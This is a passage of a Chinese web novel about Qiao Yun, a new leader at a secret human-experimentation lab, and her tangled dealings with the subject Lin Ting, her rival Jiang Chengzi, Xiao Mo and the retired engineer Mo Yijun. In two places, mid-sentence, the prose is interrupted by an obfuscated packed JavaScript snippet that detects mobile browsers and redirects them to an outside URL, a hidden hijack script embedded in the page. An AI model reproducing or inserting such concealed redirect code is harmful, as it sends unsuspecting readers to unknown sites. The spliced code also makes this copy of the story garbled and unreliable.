她猛地站起身,椅子与地面摩擦发出刺耳的声音。 “你……” “姐姐,”林听打断了乔韫。“我知道。” 乔韫的身体猛地僵住。 他知道? 知道什么? 知道她会来?知道她需要帮助? 还是知道……她此刻的言不由衷? 林听突然笑了一声,声音很轻,像仅仅呵出一口气,但在二人的沉默中,却显得尤为惹人注目。 “我还以为再也见不到你了。” “我还以为你不想再见到我了。” 话一出口,乔韫登时愣了一瞬,连林听也因她这句罕见的直白而微微睁大了眼。 “我怎么会不想见你?” ……乔韫、乔韫,你到底在想什么? 一时间,乔韫竟莫名觉得鼻尖酸涩。 你究竟是想得到林听的帮助,还是得到他的宽恕? 她好不容易鼓起勇气,以“公事公办”的态度踏入这里,却在此刻心生胆怯。 你这是原谅我了吗? 乔韫没有勇气回头去问。 “我之后再来看你。” 合金门滑开,她匆匆甩下这句话,逃也似的离开了这个地方。 乔韫刚走出实验屋没多远,就在通道的拐角,迎面撞上了江城子。 他依旧是那副一丝不苟的样子,手里拿着一个电子记录板,似乎正要往林听那边去。 “乔组长。”江城子停下脚步,微微颔首,语气平淡无波,“来看九号?” 乔韫此刻心绪烦乱,根本没心思跟他虚与委蛇,只是冷冷地瞥了他一眼,连话都懒得说,径直从他身边走过。 江城子也没有阻拦,只是在她身后,用那听不出情绪的声音说道:“我来给他做常规行为检查和数据记录。” 乔韫的脚步没有丝毫停顿,身影很快消失在通道尽头。 江城子站在原地,看着乔韫离开的方向,镜片后的目光深不见底。 他转身,走进了刚刚乔韫离开的房间。 合金门再次合拢。 林听依旧保持着之前的姿势坐在那里,乔韫的来去,仿佛对他而言,就如一阵风的来去。 江城子走到他面前,没有立刻开始所谓的“检查”,而是静静地看着他,过了好一会儿,才缓缓开口: “怎么?见她一面,就改变想法了吗?” 林听抬眸,对上他的视线,眼神沉寂,没有回答。 江城子推了推眼镜,嘴角勾起一个弧度: “别忘了我们约定好的事。” “我没忘。” 林听顿了顿,像在说服自己一般,又补充道: “我不会忘的。” 36. 爽! 乔韫回到了办公室。 她深吸一口气,走到办公桌前,拿起手机,拨给了陈放。 电话几乎是被秒接的,陈放压低的声音传来: “喂?怎么样?见到林听了?他怎么说?” 乔韫揉了揉太阳穴,声音有些沙哑:“见到了。” “然后呢?谈妥了?他答应帮忙了?”陈放的语气带着期待。 “……没有。”乔韫闭上眼,“我没提。” 电话那头沉默了两秒,随即爆发出陈放恨铁不成钢的低吼: “乔韫,你搞什么飞机?!我们时间不多了!你人都去了,为什么不提?!一鼓作气把他拉拢过来啊!你难道还指望他主动开口问你‘姐姐需不需要我帮你炸了这里’吗?!” 乔韫被他说得心头火起,但更多的是一种连她自己都厌恶的心虚。 “……场合不对。到处都是监控,江城子随时可能出现。我怎么提?” “监控?江城子?这他*是理由吗?!”陈放简直要气笑了,“乔韫,你什么时候变得这么优柔寡断了?你当初骗他戴上抑制环的魄力呢?!现在倒知道瞻前顾后了?!” “够了!”乔韫猛地打断他。 “是,我做得不对,我临阵脱逃了,行了吧?”她喘了口气,努力平复情绪。 “在我调整好状态,想清楚到底该怎么跟他说之前……或许,我不应该再去轻易见他。” 陈放在电话那头重重地叹了口气,语气复杂:“乔韫,你对他……” 咚! 咚咚咚! 就在这时,办公室的门被敲响了。 声音急促,带着不加掩饰的力道。 乔韫的心猛地一跳,立刻对电话那头低声道:“有人来了,先挂了。”不等陈放回应,她迅速掐断了通讯,将脸上的情绪收敛干净,沉声道: “请进。” 门被猛地推开,撞在内侧的缓冲器上,发出不小的声响。 小莫站在门口,胸口剧烈起伏,脸上的怒火几乎要喷薄而出。 “乔韫!” 小莫咬着牙念出她的名字,几步冲到办公桌前,双手“啪”地一声撑在桌面上,身体前倾,逼视着坐在椅子上的乔韫: “你是不是去找我妈了?你去‘称心养老院’干什么?!” 乔韫愣住了。 她没想到小莫会这么快就知道,更没想到她会如此直接地找上门来。 今天是什么日子? 兴师问罪都赶在同一天了? 她何其无辜啊??? 乔韫定了定神,迎着小莫几乎要喷火的目光,坦然承认:“是,我去了。” “你凭什么?!”小莫的声音陡然拔高,“谁允许你去打扰她的?你算什么东西,我的家事什么时候轮到你乔韫来插手了?!” “我只是去看看莫老师,顺便……” “看什么看,有什么好看的!”小莫激动地打断她,“她早就退休了,跟谛听没有一点关系了!你去找她干什么,啊?! “想通过她来控制我?还是想从她嘴里挖出什么陈年旧料来对付我?乔韫,我告诉你,你打错算盘了!” 乔韫:…… 不得不说,小莫虽然脾气急,但在这种事上,猜得还挺准的。 她差点就要心虚了。 乔韫看着小莫因为愤怒而涨红的脸,看着她眼中的恐慌,心中原本那点利用的心思,突然变得有些索然无味。 她微微后靠,避开小莫咄咄逼人的气势,语气讥讽: “控制你?对付你?小莫,你是不是太高看你自己了。我现在是组长,真想对付你,需要绕这么大圈子?” 小莫被噎了一下,但怒火更盛: “那你到底想干什么?炫耀你找到了我的软肋?看着我像个傻子一样每周偷偷跑去养老院,觉得很可笑是吗?!” “我从没觉得你可笑。”乔韫的声音冷了下来。 “我只是不明白。你明明关心她,她也明明想你,为什么非要弄得像地下接头一样?让她一个人待在养老院里,以为自己的女儿恨透了自己?” “你懂个屁!”小莫像是被踩到了尾巴的猫,声音尖利得刺耳。 “我和她之间的事,哪轮得到你一个外人来插手?你知道什么?!你……她都和你谈了什么?” “哦——”乔韫促狭地拉长尾音,露出一副恍然大悟的模样。 “原来你只是自己不敢和亲妈说话,嫉妒我俩促膝长谈啊。” “我没……” “小莫,你今年几岁?还玩这么幼稚的招数。” 小莫登时噤声,双手无力地垂在身侧,那颗高傲的头颅也终于低下。 “去,把门关上。这种事,难道还要别人听了当笑话吗。” 小莫闻言,下意识挪动着去关上门。 待到门合上,她才忿忿嘟囔道:“你懂什么……” 乔韫几乎要笑出声来。 她抬起眼,目光直视小莫:“行,我是外人,我不懂。但你有没有想过,我根本无心插手你们的家事?” “那你干嘛……” “我身为刚上任的实验体小组组长,于情,慰问为组织作出重大贡献的前辈,于理,向前辈汇报工作进度,以凸显我作为新组长的谦卑——哪一点说不过去? “你以为江城子上任时没去见过你妈?他只是知道你的脾气,把痕迹都清抹干净了! “照这样看,我还真该向他好好学习,瞒着你、躲着你,这样你就舒服了,是不是?” 乔韫的话,半真半假,当然,大部分是假。 这种哄小孩儿的活,她干了许多年,可谓经验丰富。 果不其然,小莫听她这番话后,脸涨得更红了。 但这回,却不是出于愤怒,而是出于羞愧。 小莫不是个蠢货,甚至可以说,她的智商在绝大部分人之上,否则,也就做不出这一番成绩,但也正是因为她太过于关注实验体本身,而对外界社交全然不闻,才导致她这副孩童般的天真心性。 乔韫见她不语,乘胜追击: “小莫,你以为,我这个组长是怎么当上来的?” 小莫不明所以:“因为收服了九号?” “你真信这话?” “不信。” “那不就是了?” 乔韫摆摆手,示意小莫落座。 “你知道‘白玛’吧?” “知道,似乎是江城子的上司之类的。” “她是我妈。” “啊???” 乔韫见小莫这副毫不掩饰的讶异,心情突然舒畅许多。她抿抿唇,端起茶,饮了一口。 “我知道这事时,和你的表情一样。她躲在幕后这么多年,把我当成棋子,现在又突然跳出来说是我‘母亲’。她把我推到台前,和江城子打擂台,把我架在火上烤。她给我权力,更给我带来杀身之祸。 “更好笑的是,除了我,似乎所有人都知道她这号人物。” 小莫将手放在膝盖上,不安地搓动起来。 “这就是我妈……我宁愿她从没出现过,宁愿自己是个从石头缝里蹦出来的野种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506333|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也好过现在,明明恨她入骨,却又要可悲地借着她的势,才能勉强活下去。 “这种感觉,你懂吗,小莫?” 小莫眼神闪躲:“大概吧……但,我好像没你这么惨。” “我可不是来和你比惨的,没必要。” 乔韫将小莫的行动尽收眼底,她明白,小莫已经开始意识到自己的鲁莽,并对她的处境产生了……同情心。 乔韫敛下眼眸。 她突然知道陈放为什么会向自己推荐小莫这个人选了。 因为小莫和他一样,在谛听摸爬滚打多年,依然残存着人性。 这份“人性”让人唏嘘,但最终,在这样的环境里,只会沦为把柄。 乔韫在心里暗暗叹了口气。 这样也好,如果是这样,“恶人”就只有乔韫一个了。 乔韫继续循循善诱:“那天,莫老师的确对我说了很多。” 小莫闻言,倏然挺直了身。 “但她问得最多的,其实是你。——需要我转述她都如何说你吗?” “不用了,”小莫答得很快,“无非是一些‘脑子不灵光’‘成不了事’的评价,我听腻了。” “原来你是对她PTSD了啊。” 小莫不置可否。 “那你不更应该去见见她吗?” “嗯?” “你总得告诉她,你和从前不一样了。” “她才不在乎呢。” “可你在乎。” “……” “我并不打算为莫老师开脱,作为实验员,她的确是独树一帜的优秀,但作为母亲,她连幼儿园的水平都没达到,所以——” 乔韫将身体往前伏,微微低头,直视小莫垂下的眼睛: “你得好好骂她一顿。 “知道了吗?” 小莫的瞳孔在听到这番话后,猛地颤动起来。 她顿觉眼中酸涩,似乎要涌上泪,却固执眨着眼睛,不让任何液体有上涌的机会。 乔韫见状,便很是大方地替她找个了台阶: “行了,以后少拿这种事来烦我,出去吧。” “……哦。” 小莫愣愣起身,走到门前,如梦初醒般,背对着乔韫,又来上一句: “我这个人还是很公私分明的,你别以为和我妈亲近,就能让我毫无怨言地替你办事。” 语罢,她带上门,离开了。 乔韫觉得好笑,叹了口气,手指摁上太阳穴,揉了起来。 小莫,完全就是被惯坏了。 从小就顶着“莫老师女儿”的名号,理所当然地被大家认为是莫老师接班人,怕是从没有人这样推心置腹地和她谈过话,更遑论说她做错了什么,或者教她该如何做。 推心置腹……吗? 乔韫心底闷闷的,有些喘不上气。 自己说的那些话,究竟是真心,还是假意? 她往后一倒,瘫在办公椅上,拿起手机,打开了江城子的微信。 [九号今天的报告怎么还没发给我?] 心里烦,找江城子出出气吧。 毕竟没过多久,她就享受不到这待遇了。 江城子的名字立即被“正在输入中…”代替,一闪一闪的,好半天,他才发来一句: [以前都是由我审查这些的,一时没将习惯改过来,抱歉。] [我现在就把文件发送到您邮箱。] 乔韫这才关掉手机,将眼睛合上。 看见江城子这副憋屈的样子,果然…… 爽! 37. 产物 大约五分钟后,江城子才将林听的当日报告发到了乔韫的邮箱。 乔韫几乎是立刻就点开了附件。 各项生理指标平稳,脑波活动在抑制环作用下维持在一个“安全”的低活跃区间,行为观察记录里写着“配合度高,无明显情绪波动”。 总的来说,一切正常。 附件中包含了实验屋今天的监控录像。 她将其快进,粗略浏览了一遍。 画面里,林听大部分时间都安静地坐着,或是按照指令完成一些简单的动作测试,像个毫无生气的玩偶。 鬼使神差地,乔韫的手指将进度条拖回到了她和林听交谈的那段时间。 在实验屋内,乔韫因为心虚,连直视林听的眼睛都做不到,只有通过监控,她才敢和林听“对视”。 这段画面并不长,很快就显现出乔韫仓皇而逃的背影。 她莫名有些怅然若失,连暂停都忘了。 于是监控画面继续播放着,在乔韫离开后不久,江城子推门而入。 她看着江城子走到林听面前,在正式开始检查前,二人似乎有短暂的交流。 乔韫并未多想。 但就在她准备关掉视频时,敏锐的直觉让她捕捉到了一丝不协调。 画面中,江城子背对着监控,身体似乎有极其细微的颤动,持续时间可能不到一秒。 而林听,虽然面部大部分被江城子挡住,但下颌和颈部的肌肉线条,隐约呈现出一种……说话的牵动感? 可音频是安静的。 乔韫的心猛地一跳。 她立刻将画面放大,聚焦在两人交汇的那几秒钟,反复播放。 没错,江城子背对着镜头,肩膀的肌肉有瞬间的紧绷和放松,像是低语。 而林听,面对镜头,尽管嘴唇被遮挡,但喉结的微动和脸颊肌肉的细微变化,都指向他在回应。 他们在说什么? 为什么这段没有声音? 突然,乔韫猛地按下暂停键。 ——找到了,林听身体后倾的那一刻。 虽然江城子立即将身体也侧倾过去,挡住了林听,但依然有一瞬,林听的嘴唇暴露在了监控之下。 他甚至说出了完整的一句话。 会是什么? 乔韫将这段视频单独截取出来,直接发给了陈放,随即拨通了他的电话。 “又怎么了,乔大小姐?” “我给你发了一段视频,你看看。”乔韫语速很快,“你会不会唇语?能不能看出林听说了什么?” 电话那头沉默了几秒,然后是陈放的反问: “唇语?拜托,我学的是机械设计,不是特殊教育——我上哪儿会那玩意儿去?” 他不等乔韫回答,又自顾自地分析起来: “不过……你这视频哪儿来的?基地监控?这明显被处理过啊,音频虽然有背景音垫着,但比起其他画面,算得上‘干干净净’了。你还不如问我能不能修复视频或者音频呢。” “那你会修复吗?”乔韫立刻追问。 “不会。”陈放回答得干脆利落,“这种专业音视频处理是后勤那帮人的活儿,或者情报部门。我搞硬件的,不玩这个。” 乔韫握着手机,一股沮丧感涌上心头。 线索就在眼前,却像隔着一层磨砂玻璃,模糊不清。 这会不会……也是江城子的算计? 故意留下这点引人疑窦的破绽,让她对林听产生怀疑,从而放弃拉拢他的念头? 至少,他知道乔韫一定会查看监控。 这个男人的心思,深得让人脊背发凉。 她无法确定。 “欸,我记得小莫好像选修过这个,你要不问问她?” 陈放提议道。 乔韫叹了口气,将这个建议否决: “我和她真不熟,拉拢她的事,八字还没一撇呢。” 就在这时,电脑提示音再次响起,江城子将其余几个在册实验体的例行报告也打包发了过来。 乔韫深吸一口气,暂时将林听的事压下,对电话那头说道: “行,那今天就这样吧,也没什么别的事了,你忙你的。” 说完,乔韫挂断电话,点开了文件。 除了五号和九号,其他实验体的报告都只有寥寥几页,记录着基础的生理维持数据和失败的能力激发尝试,几乎毫无进展,像是被遗忘在角落里的失败品。 而五号…… 乔韫调出了五号实验屋的监控。 画面中,五号安静地躺在透明的硬板床上,双眼紧闭,胸口的起伏微弱到几乎看不见。 乔韫拖动进度条,而画面中的五号半点没动,可以说,她大部分时间都维持着这种休眠的状态。 乔韫盯着屏幕看了几秒,拿起内部通讯器,接通了江城子的线路。 “把五号唤醒。”她言简意赅地命令道,“叫她来我办公室一趟。” “收到。”江城子的回应一如既往的迅速,听不出任何情绪。 五号的服从性经过长期验证,对谛听内部人员构成的风险评估几乎为零,因此她拥有在基地特定区域内有限活动的权限,无需像林听那样被禁锢。 而林听,尽管目前表现“配合”,但仍需要通过一段更长时间的行为稳定性和风险评估,才能获得类似的“信任”。 乔韫在心里估算了一下,流程走完,大概也就是这一周的事情了。 到那时,她完全可以像今天召见五号一样,找个由头,在更私密的环境里见到林听。 没过几分钟,办公室的门被轻轻叩响。 “进。” 五号推门走了进来。 她穿着统一的白色实验服,身形挺拔,步伐稳定。 “乔组长。”她站定,声音平淡无波。 乔韫看着她,试图从这张与六号相似的脸上找出一点过去的影子,但失败了。 眼前的五号,更像是一个被精密编程的机器。 “怎么?不叫我‘姐姐’了?” 五号将头低下: “你现在是组长,和以前身份不同,这样叫不合适。” “凭我以前的身份,你叫‘姐姐’,也合适不到哪里去吧?” 五号沉默了。 乔韫便不再调侃她——当然,或许在五号的视角,乔韫甚至算得上在为难她。 “坐。”乔韫指了指对面的椅子。 五号依言坐下,姿态标准得像教科书。 “之前,你一直是直接服务于江城子,对吗?”乔韫开始扯闲天,试图打破那种令人不适的僵硬气氛。 “是。”五号的回答没有任何犹豫。 “理由呢?” “因为江城子是组长。” “现在呢,谁是组长?” “你。” “那么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506334|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你现在服务于谁?”乔韫看着她。 “你。” 五号的回答干脆利落,就像在把这件事当作一处需要更新的数据项。 乔韫突然觉得有些唏嘘。 权力的更迭,在这些实验体眼中,或许就像更换了一个管理员账号那么简单直接。 “你喜欢吃什么?”乔韫换了个话题。 五号明显愣住了,空洞的眼神里第一次出现了类似“处理异常信息”的短暂凝滞。 她沉默了几秒,才回答道: “我……现在没怎么吃过东西了。” 实验体大都依靠营养液维持机体运转。 “那你以前喜欢吃什么?”乔韫追问。 五号的眉头微微蹙起,似乎在努力回忆,最终,她摇了摇头: “忘了。” 乔韫在心里叹了口气。 她看着五号,问出了最后一个问题: “你还记得自己是谁吗?” 五号抬起头,目光重新聚焦在乔韫脸上,声音清晰而确定: “我是五号。”她顿了顿,“也可以叫我六号。” 乔韫沉默了片刻。 融合,彻底的融合。 那个会因为杀人而呕吐的懦弱少年六号,和眼前这个冰冷、高效、绝对服从的五号,已经成了无法分割的一体。 “过两天,”乔韫开口道,“你和我出去一趟,去见一个人。” “好。”五号没有任何犹豫。 “这是任务吗?”她甚至主动确认。 乔韫点了点头:“算是吧。” “好。”五号再次应下,然后便不再说话,安静地等待着下一个指令。 “以前你出任务的时候,江城子都怎么交代的?” “他要我做好准备。” “做好准备?” “嗯,就是睡觉。” 乔韫:…… 那还真是需要好好准备呢。 正说着,五号又打了个呵欠。 乔韫显然不是什么压榨下属的上司,便摆摆手,叫她回去了。 …… 两天后,乔韫驾驶着DT3V,载着五号,再次来到了“称心养老院”门口。 她停好车,侧过头,刚想对副驾驶的五号交代几句,却发现五号的头歪向一边,双眼紧闭,呼吸变得绵长而均匀——她竟然陷入了沉睡,进入了休眠状态。 乔韫:? 这对吗? 这不对啊。 她之前明明明确叮嘱过五号,这是一次外出任务,需要她保持清醒和必要的警戒。 五号不是新手,她执行过无数次比这更复杂的指令,怎么会犯在这种关键时刻突然休眠的低级错误? 身体机能出现问题了? 但这节骨眼,再转头回去,似乎不太合适。 无奈之下,乔韫只好下车,找到养老院的前台,好说歹说,借来了一辆轮椅。 她费力地将沉睡的五号从副驾驶抱出来,安置在轮椅上,调整好姿势,甚至好心地为其盖上一条薄毯,推着轮椅,朝着一楼走廊尽头的那个房间走去。 车轮碾过光洁的地面,发出细微的辘辘声。 她觉得,莫仪君,这位曾经点燃了“谛听计划”最初火焰的前总工程师,应该亲眼看看,她当年提出的那份激动人心的“人类基因潜能激发与改造”理论,最终……究竟创造出了什么样的“产物”。 38. 慈悲 人到老年,总会给人以“慈悲”的印象。 这在大部分情况下,并不是错觉。 只有到了年纪,人才真正体会到“死亡将至”,才真正体会到这份最原初的恐惧: 对死亡的恐惧。 于是作恶者开始向善,无畏者开始怯懦。 这才有了“慈悲”的表象。 一切的一切,都是只因为恐惧。 乔韫对这份恐惧深有体会。 从她有记忆起,或者说,从她出生起,从她离开温暖的子宫,呼进第一口空气时,粗粝的氧气撑大她的肺部、摩擦她的皮肉时,她就陷入了巨大的恐慌。 这份恐慌伴随她至此,也将伴随她一生。 所以,乔韫需要来这里。 因为只有她能明白莫仪君的恐惧,也只有她能利用这份恐惧。 随着三声叩门,莫仪君的面孔出现在乔韫面前。 莫仪君看起来精神好了不少,花白的头发梳得整整齐齐,连身上衣服的褶皱都被特意熨平过。 乔韫心里明镜似的——这大概是期待着女儿来访,特地拾掇出来的精气神。 然而,门打开,外面站着的却是推着轮椅的乔韫,老太太眼底那点微光瞬间黯淡下去,被一层显而易见的失落覆盖。 她的目光掠过乔韫,落在轮椅上沉睡的五号身上,眉头微蹙:“这是……?” “谛听一期实验体,五号。”乔韫推着轮椅往前挪了半步,让五号的身影更清晰地映入莫仪君眼帘,“目前唯二达到,或者说,超越了您当初设想的‘完美作品’之一。” 莫仪君扶着门框的手微微收紧,沉默地看了五号几秒,侧身让开了通道: “……进来说吧。” 房间依旧整洁,阳光透过窗户,落在五号安静得如同人偶般的脸上,投下淡淡的阴影。 乔韫将轮椅停在靠墙的位置,自己则在莫仪君对面坐下。 “小莫……她来看过您了吗?”乔韫开口,打破了沉默。 莫仪君摇了摇头,目光还停留在五号身上,声音有些发涩:“没有。” “可能还需要一点时间。”乔韫语气平静,“给她点心理准备。有些坎,得自己迈。” 莫仪君终于将视线转回乔韫脸上,带着审视:“你把她怎么了?” “我没把她怎么,”乔韫笑了笑,“只是告诉她,如果心里有怨气,就该亲自来骂您一顿,而不是自己躲在角落里生闷气。 莫仪君被这话噎了一下,表情复杂,最终化为一声几不可闻的叹息。 她的目光又飘向五号:“五号是吧?她一直这样?” “休眠状态。偶尔会醒,执行任务,然后继续睡。”乔韫的语气听不出什么情绪。 “她是成功的‘兵器’,不知疲倦,绝对服从,没有个人喜恶,甚至……快要忘记食物是什么味道了。”她顿了顿,补充道,“当然,也不需要了。” 莫仪君的嘴唇动了动,想说什么,却没发出声音。 可那双饱经风霜的眼睛,却泛起一丝涟漪,似乎有什么东西被触动了一下。 乔韫继续为莫仪君介绍五号的情况: “其实最开始得到进化的,是她的双生子兄弟,六号。” “哦?” “您应该多少知道一些风声吧?两年前,六号自杀了。” “原来是他。” “是,但我后来发现,六号的死有蹊跷。” “……” “六号死亡没几天——甚至可以推测,六号死亡当天——被取出大脑,与五号的融合,融合成功的大脑,就此被置入五号体内。” “这一步很险啊。” “或许吧,连对生物科学一窍不通的我也能隐隐感觉到。” “融合的理由是什么?” “六号性情……温顺,不宜作为武器,而五号服从性更高,性格也更坚毅,再加上又是六号的孪生姐妹,与六号的基因相似度远高于其他实验体。”乔韫犹豫片刻,还是用“温顺”代替了其他的负面词汇。 “这样看来,与六号融合,似乎的确是最好的决断。” “是。” “她和六号融合,是兰山的主意?”莫仪君的声音低了些。 乔韫耸耸肩:“不见得是她一个人的主意,这种重大决策,背后必然有更上层的推动。但小莫作为实验体总工程师,她肯定知情,并且深度参与了。没有她的技术支持和团队管理,这种级别的融合实验不可能顺利进行。” 房间里陷入短暂的沉默,只有窗外隐约的鸟鸣。 乔韫看着莫仪君脸上变幻的神色,知道火候差不多了,她抛出了真正的目的: “白玛,就是我‘上司’,或者说,我名义上的‘母亲’……您和她很熟吧?” “何止是‘很熟’。” “她打算终止谛听计划。” 莫仪君猛地抬起头,眼中闪过一丝震惊,随即了然。 她看着乔韫:“所以你来找我,是想让我劝兰山,站在你这边?利用我们母女这点……剪不断理还乱的关系,帮你拉拢实验员团队?” 乔韫迎着她的目光,没有丝毫闪躲,坦然道:“是。我需要小莫,需要她手下那批最核心的实验员。只有他们倒戈,计划终止的阻力才会降到最低。而能说服小莫的,目前看来,只有您。” 莫仪君盯着乔韫,看了很久,久到乔韫几乎以为她要厉声拒绝。 然而,老太太最终只是扯了扯嘴角,露出一个带着点讥诮的笑容: “这样也好。” 乔韫挑眉。 莫仪君移开视线,望向窗外,声音飘忽:“省得我总觉得又欠了别人家的人情。为了那个计划,我欠下的债,够多了。能用在终止它上面,也算……一种赎罪吧。” 她答应了。 比乔韫预想的还要顺利。 “那我先不打扰莫老师您休息了。” 乔韫站起身,目的达成,便不再多留。 她推着依旧沉睡的五号,离开了房间。 关上房门的瞬间,乔韫轻轻吐出一口气。 她低头看了看轮椅上人事不省的五号,心想,若不是这家伙今天莫名其妙陷入休眠,她还真不好找借口推着个“实验体”来见莫仪君,更没办法如此自然地切入那些关于“产物”和计划终止的话题。 算是……因祸得福? 她推着轮椅,穿过安静的走廊,来到养老院门口的停车场,费了些力气将五号从轮椅里抱出来,安置在D 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她面上却不显,只是语气淡了几分:“原来如此。不过现在职位有变,这些‘分外之事’,江副组长以后可以少操心了。” “您说得对。”江城子从善如流,语气甚至称得上恭敬,“我只是今天刚好有空,顺便把莫老师上次提到想看的几本旧书给她送过来。今天过后,应该就不会再频繁打扰了。” 他的解释合情合理,态度也无懈可击。 但乔韫的神经却绷得更紧了。 江城子仿佛看穿了乔韫的窘迫,眼神轻飘飘瞥向乔韫身旁的轮椅,语气带上了一丝恰到好处的“关切”: “乔组长,这轮椅……您是受伤了?” 乔韫心里骂了一句,面上却故作轻松地摆了摆手:“没什么,不小心扭了一下脚,借个轮椅方便点。已经好多了。” “需要我送您回去吗?”江城子上前一步。 乔韫的心瞬间提到了嗓子眼,生怕他发现副驾驶上昏睡的五号。 她几乎是立刻侧身,状似无意地挡住了他可能的视线,语气坚决: “不用了!多谢江副组长好意,我待会儿还有个会要开,得赶紧回基地。” 江城子停下脚步,从善如流地点点头:“那您忙。我就不打扰了。” 他不再多言,转身朝着养老院门口走去,背影挺拔从容。 乔韫站在原地,看着他消失在门内,才猛地靠在自己的车身上,后背惊出一层冷汗。一阵后怕如同冰水般浇遍全身。 江城子……他出现在这里,真的只是巧合? 送书?这实在是个蹩脚的理由。 他到底知道了多少? 他有没有看到五号? 乔韫拉开车门,坐进驾驶座,看了一眼旁边依旧沉睡的五号,终于生出一股实打实的紧迫感。 她的计划,就像建立在流沙上的城堡,随时可能因为江城子这个变故而彻底崩塌。 没有时间再犹豫,没有时间再慢慢筹划了。 她必须加快进程。 今晚。 今晚她就去见林听。 39. 背叛 林听从没想过,自己会有背叛乔韫的一天。 可那一天就是到来了。 江城子将林听带到了测谎室。 基地的监控毫无死角,唯有测谎室没设置监控,依然靠摄像头记录。 而摄像头是由人操作后才会开机的,所以,只要有个合理的由头,测谎室,将成为绝妙的谈话场地。 江城子手里捏着个文件夹,脚步平稳,走到林听面前。 被灯光放大的阴影投在林听身上,堪堪罩住他。 “考虑得怎么样了?” 江城子将文件夹往桌子上一放,金属搭扣与桌面碰撞,发出轻响:“我没太多时间跟你耗,陈放的飞机今天就要落地了。” 林听的手指蜷了蜷:“用乔韫的性命威胁我,算什么本事?” “本事?” 江城子难得展现出一丝笑意。 他低笑一声,在林听对面落座,将文件夹翻开,露出里面密密麻麻的实验数据: “在谛听,能保住想保住的人,就是最大的本事。你该清楚,现在乔韫的位置有多扎眼,‘那位’把她推到台前,不是让她当组长,是让她当靶子。” 林听垂下眼帘: “既然她已经成为组长,你如何有把握威胁到她的性命?” “她成不了真正意义上的组长,”江城子全然没将林听这句不痛不痒的质问放在眼里,手指在文件上划动,寻找着自己需要的信息,“我当了这么多年组长,手底下的人都是我一手培养起来的,乔韫一时半会儿,撼动不了我的根基。” 他顿了顿,补充道:“充其量当个光杆司令罢了。” 林听不以为然:“这也只是一时的。” “你对她这么有信心?” 林听沉默不语。 江城子嗤笑一声,道:“你对她有信心,她可不见得对自己有信心,我猜,她眼下所打算的,必然不是弄权。” 林听:…… 江城子等了半晌,见林听没应声,便自顾自继续说了起来:“乔韫不见得不向往权力,她只是太忌惮我,所以我想,她哪怕成为了组长,也只会一心想逃。” 林听终于开口:“那不是正合你的意吗?她忌惮你不假,但你忌惮她更甚。” 这回轮到江城子沉默了。 他的手指停在文件一处无关紧要的字眼上,顿了许久,才将手收回: “所以我才想杀她。” 林听心头一跳。 江城子接着说:“过去两年,她离开了谛听,可现在,不也照样骑在我头上了吗?——只有死人才是安全的。” 林听的目光落在文件上“大脑融合预案”几个字,声音发紧: “融合……一定要用五号?” “不然呢?”江城子直起身,推了推眼镜。 “五号和六号的融合体是目前最稳定的基底,你和她融合,成功率超过七成。只要成为完美实验体,别说保住乔韫,就算带她逃出去,也没人拦得住。” “这个条件确实很诱人。” “我向来奖惩分明。” “但你在骗我。”林听抬起头。 “哦?” “你想要的,不见得是什么完美实验体,而是能彻底掌控的武器。我发生进化前,有屏蔽器牵制我;发生进化后,有抑制环压制我……所以,只怕我与五号完成融合后,还会有更厉害的仪器等着。” 江城子脸上的笑意淡了,语气也冷了下来: “我想干什么不重要,重要的是你没得选。” 突然,江城子的手机响起。 他看了眼致电人,点击接通,开启外放。 “江组长,乔韫果然来机场了。” 林听顿觉头皮发麻。 江城子一边颇为玩味地睨了林听一眼,一边回答说:“控制住他们,死伤不论。” 林听放在膝盖上的手倏然握成拳。 “你觉得,乔韫身边没有你的庇护后,能单枪匹马从我手下的精锐中逃脱吗?” “原来,你连来找我,都是掐准了时间的。” “你还有闲心关心这个?” 随着江城子话音刚落,电话另一头猛地响起枪声。 林听的瞳孔骤然缩小。 “他们那边开始收网了。” “我听你的。” “嗯?” “我听你的,你放她走。” “这才对——任务终止,即刻返回。” 电话那头传来一声模糊的“收到”,紧接着,一阵忙音响起。 对面挂断了电话。 江城子慢悠悠收起手机,不再看林听,摆出一副上司嘴脸,径自说起自己的打算来: “我会找时机让你回到乔韫身边,你只需要把她的计划汇报给我就行。” “你不担心我倒戈?” “只要乔韫还在基地一天,我就不担心你倒戈。” 言下之意,便是江城子有十足的把握随时取走乔韫性命了。 “……好,我知道了。” 林听艰难答道。 “那我们也该开始进行今天的测试了。” …… 合金门再次滑开。 林听戴着抑制环,端坐于实验屋正中。 乔韫本以为自己已经做好了十足的心理准备,但见到林听的那一刻,她还是有一瞬的呼吸失去了原有的节奏。 “你来啦,这回倒是没骗我。” 这是自二人分开后,第二次见面。 第一次见面时,是乔韫率先开口,语气生硬,全然没有“重逢”的气氛。 而这次,由林听起了话头,语气中隐隐的一丝嗔怪,竟让乔韫恍惚间想起过去的光景。 就像他们从未分开过一样。 于是不知不觉间,乔韫的语气竟软下来许多: “都这样了,我哪里会骗你?” 这句话说得暧昧,既能理解为“我问心有愧,不愿再骗你”,也能理解为“我已身居高位,而你为鱼肉,我不需要骗你”。 林听没有在这句歧义上纠结: “你上次跑得好快,姐姐。” 乔韫顿时有些脸红。 以林听的玲珑心,哪能猜不出乔韫匆匆离去的缘由? 